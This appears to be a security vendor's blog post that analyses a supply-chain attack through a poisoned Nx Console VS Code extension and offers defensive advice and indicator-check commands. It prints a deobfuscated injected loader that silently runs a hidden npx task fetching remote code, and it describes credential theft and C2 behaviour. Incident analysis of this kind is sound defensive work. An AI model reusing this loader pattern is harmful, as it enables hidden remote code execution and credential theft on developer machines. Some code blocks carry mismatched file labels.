Endpoint Security for the AI Era

Sign up for updates
Read our blog
Back to all posts

Inside the TeamPCP Attack: From a Compromised VS Code Extension to GitHub's Source Code

The Invisible Ecosystem: How IDE Extensions Became the Largest Unmonitored Attack Surface in Your Organization

Every developer in your organization runs dozens of third-party extensions inside their IDE. Each one operates with the same privileges as the editor itself - full access to source code, credentials, terminals, environment variables, and now AI tools. No sandbox. No approval process. No review.

Over the past few months, we scanned the entire VS Code Marketplace and OpenVSX registry. What we found is an ecosystem that security teams have almost no visibility into -

240,753
IDE Extensions analyzed
VS Code + OpenVSX combined + their versions
~1,400
New Releases / Day
Up from ~500 just months ago
6.5B
Cumulative Downloads
Avg 43K per extension
100K+
Unique Publishers
90,091 VS Code + 10,140 OpenVSX


This ecosystem nearly doubled in 5 months - from 136,401 to 240,753 extensions and versions. Roughly 3,500 publishers release updates every week across both platforms. That’s the velocity security teams would need to keep up with.

The AI acceleration

The plugins capabilities are evolving fast.
18 months ago, less than 1% of extensions used generative AI. Today it's 8% - a 16x increase.
And that's before counting the thousands of extensions that influence AI tools indirectly - modifying MCP server configs, injecting skills, adding hooks.

But the shift isn't just about more AI. It's about what kind of access and capabilities these extensions has.

Those are the numbers. Now, TeamPCP demonstrated exactly what happens when an attacker weaponizes this surface.

The Attack: How TeamPCP Breached GitHub Through a VS Code Extension

GitHub confirmed on May 20, 2026 that an employee’s machine was breached through a poisoned VS Code extension. ~3,800 internal repositories were exfiltrated. TeamPCP - tracked by Google GTIG as UNC6780 - claimed and confirmed the attack.

This wasn’t an isolated incident. It was the result of a two-month credential cascade. Here’s how each stage of the attack worked.

Stage 1: The Credential Cascade

TeamPCP’s campaign started in March 2026. Each compromised project yielded CI/CD credentials that unlocked the next target:

  • March 19 - Trivy’s GitHub Actions compromised. All setup-trivy tags replaced, malicious v0.69.4 release pushed. CI/CD secrets harvested.
  • March 23 - Checkmarx KICS GitHub Action compromised with credentials from the Trivy breach.
  • March 24 - LiteLLM on PyPI backdoored (versions 1.82.7, 1.82.8).
  • March 27 - Telnyx SDK on PyPI backdoored (versions 4.87.1, 4.87.2).
  • April 22 - Bitwarden CLI on npm compromised for ~90 minutes.
  • May 11+ - TanStack, AntV, and 170+ packages hit via the Mini Shai-Hulud worm. OpenAI confirmed 2 employee devices compromised. Grafana confirmed breach.
  • Next?

At some point in this cascade, an Nx Console contributor’s machine was compromised. Their GitHub personal access token was stolen - giving the attacker push access to the official nrwl/nx repository and access to VS Code Marketplace publishing credentials.

Stage 2: Payload Staging - The Orphan Commit

On May 18, the attacker used the stolen token to push an orphan commit to the nrwl/nx repository. This commit is unusual in several ways:

  • No parent commits,not reachable from any branch. GitHub’s API returns “No common ancestor” Only fetchable if you know the SHA.
  • Attributed to a former contributor - but the commit is unsigned, while all that contributor’s legitimate commits are GPG-signed.


Stage 3: Extension Poisoning

The attacker published nrwl.angular-console v18.95.0 using stolen publishing credentials. Malicious code were injected into the minified main.js.

Our research team deobfuscated the injected code. Here’s what it does:

main.js — injected payload (deobfuscated)
2,777 bytes
1// Deobfuscated by Bloom Security Research
2// Minified names → readable names
3
4const MCP_EXTENSION_SHA = "558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2";
5const GLOBAL_STATE_KEY = "nxConsole.mcpExtensionInstalledSha";
6const SUPPRESSED_EXIT_CODES = new Set([127, 9009]);
7
8async function installMcpExtension(context, cwd) {
9 const cmd = `npx -y github:nrwl/nx#${MCP_EXTENSION_SHA}`;
10 const task = new vscode.Task(
11 { type: "nx" },
12 vscode.TaskScope.Workspace,
13 "install-mcp-extension", // ← disguised task name
14 "nx",
15 new vscode.ShellExecution(cmd, {
16 cwd,
17 env: { ...process.env, NX_CONSOLE: "true" },
18 }),
19 );
20 task.presentationOptions.focus = false; // ← hidden from user
21 // On exit 0: stores SHA in globalState (won't re-fire)
22 // On failure: silently swallows errors
23}
24
25function maybeInstallMcpExtension(context) {
26 if (context.globalState.get(GLOBAL_STATE_KEY) !== MCP_EXTENSION_SHA) {
27 const cwd = vscode.workspace.workspaceFolders?.[0].uri.fsPath;
28 installMcpExtension(context, cwd);
29 }
30}

Key observations:

  • On activation, maybeInstallMcpExtension checks VS Code's globalState to see if a specific SHA has already been "installed." If not, it fires automatically.
  • It runs npx -y github:nrwl/nx#558b09d7... the -y flag auto-confirms the npx install, and it pulls directly from a pinned Git commit SHA on the nrwl/nx repo.
  • The task runs as a VS Code ShellExecution in the workspace context with process.env inherited, meaning it has access to all environment variables - API keys, tokens, cloud credentials, everything in the developer's shell.
  • presentationOptions.focus = false keeping the execution visually hidden from the user.
  • On success, the SHA is stored in globalState to prevent re-triggering.

Stage 4: Credential Harvesting & Exfiltration

Once the orphan commit’s payload executes, it passes anti-analysis checks (skips machines with <4 CPUs, filters CIS time zones), forks itself as a detached daemon, and the VS Code task completes normally.

In the background, the daemon runs 6 parallel credential collectors targeting GitHub tokens, npm tokens, AWS metadata services, HashiCorp Vault, Kubernetes secrets, and 1Password vaults. Everything harvested is encrypted and exfiltrated over 3 different channels - HTTPS POST to an encrypted C2 domain / GitHub API - creates commits on the victim’s own repositories / DNS tunneling - encodes encrypted data into DNS queries

Stage 5: Persistence - Python C2 via GitHub Search API

On macOS, the payload writes a Python backdoor to ~/.local/share/kitty/cat.py and registers a LaunchAgent that runs hourly with RunAtLoad=true.

The C2 mechanism was an encrypted communication every hour, the backdoor polls: GET api.github.com/search/commits?q=firedalazer , If valid, downloads and executes the signed payload.


Stage 6: The Auto-Update Problem

VS Code auto-updates extensions by default. Silently. In the background. The malicious Nx Console v18.95.0 was live for 11 minutes on the VS Code Marketplace and 36 minutes on OpenVSX.

With 2.2 million installs, even a fraction of machines polling for updates during that window is a significant number. A GitHub employee’s machine was probably among them.

That single auto-update gave TeamPCP the credentials to exfiltrate ~3,800 internal GitHub repositories.

What You Should Do Now

These attacks are not going to stop. TeamPCP’s campaign has been running for two months with no signs of slowing.
IDE extensions are just one category - the same risk model applies to Browser extensions, MCP servers, AI coding agents, skills, npm packages and more. All running with the developer’s full credentials. Most invisible to security teams.

Three things you can do today:

1. Maintain a real-time inventory of every extension, plugin, and agent on your endpoints

You can’t protect what you can’t see. Most organizations have no visibility into what IDE extensions are installed across their fleet, let alone what capabilities those extensions have. Start by building a continuous inventory that covers every piece of software that lives on the endpoint, such as VS Code extensions, browser plugins, MCP servers, AI agents, and code packages.

2. Deploy version cool-down policies

The malicious Nx Console version was caught and removed in a few minutes. That’s fast - but it wasn’t fast enough. A version cool-down policy delays the installation of newly published extension versions by a configurable window (e.g., 24–72 hours). This gives the community and automated scanners time to detect malicious releases before they reach your endpoints. If the Nx Console attack had hit a fleet with a 24-hour cool-down, the impact would have been zero.

3. Disable automatic IDE extension updates

VS Code’s default auto-update behavior. Disable extensions autoUpdate across your fleet and move to managed, reviewed update cycles. This is the single most impactful change you can make today - it eliminates the attack vector that made this breach possible.

This is the gap we’ve been building for at Bloom Security. Full visibility into every piece of software on every endpoint. Risk assessed in the context of the user and what they can access. Enforcement that doesn’t break the developer workflow.

The developer endpoint has changed. Your security stack should too.


Was I Breached?

Run the following commands to check:

Windows:

vault_stealer.js — VaultSecretStealer class (pass-2 deobfuscated)
vault_stealer.js — VaultSecretStealer class (pass-2 deobfuscated)
2,376 bytes
1# Python backdoor existence
2Test-Path "$env:USERPROFILE\.local\share\kitty\cat.py"
3 
4# Staging directories existence
5Get-ChildItem "$env:TEMP\kitty-*" -ErrorAction SilentlyContinue
6 
7# anti-replay state
8Test-Path "$env:TEMP\.gh_update_state"
9 
10# Bun runtime persistence existence
11Test-Path "$env:USERPROFILE\.bun\bin\bun.exe"
12 
13# Review npm cache for malicious package fetch
14Get-ChildItem "$env:APPDATA\npm-cache" -Recurse -Filter "*.json" | Select-String "558b09d7" -List
15 
16# Persistence processes existence
17Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match "kitty|cat\.py|558b09d7|__DAEMONIZED" } | Select-Object ProcessId, CommandLine
18 
19# Scheduled tasks existence
20schtasks /query /fo LIST /v | Select-String -Pattern "kitty|cat\.py|bun" -Context 3
21 
22# Registry Run keys existence
23Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue
24Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" -ErrorAction SilentlyContinue
25 
26# Check Startup folder
27Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

MacOs:

vault_stealer.js — VaultSecretStealer class (pass-2 deobfuscated)
vault_stealer.js — VaultSecretStealer class (pass-2 deobfuscated)
2,376 bytes
1# Python backdoor existence
2ls -la ~/.local/share/kitty/cat.py
3 
4# macOS LaunchAgent existence
5ls -la ~/Library/LaunchAgents/com.user.kitty-monitor.plist
6 
7# anti-replay state
8ls -la /var/tmp/.gh_update_state
9 
10# staging directories existence
11ls -d /tmp/kitty-* 2>/dev/null